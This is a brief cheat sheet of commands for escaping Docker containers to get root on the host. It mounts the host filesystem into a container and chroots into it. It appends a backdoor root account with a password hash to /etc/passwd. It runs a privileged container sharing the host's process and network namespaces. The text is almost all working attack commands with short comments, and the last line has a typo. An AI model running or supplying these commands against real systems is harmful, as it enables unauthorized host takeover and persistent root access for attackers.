docker image #Get images from the docker service
#Get a shell inside a docker container with access as root to the filesystem
docker run -it --rm -v /:/mnt <imagename> chroot /mnt bash
#If you want full access from the host, create a backdoor in the passwd file
echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/passwd
#Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash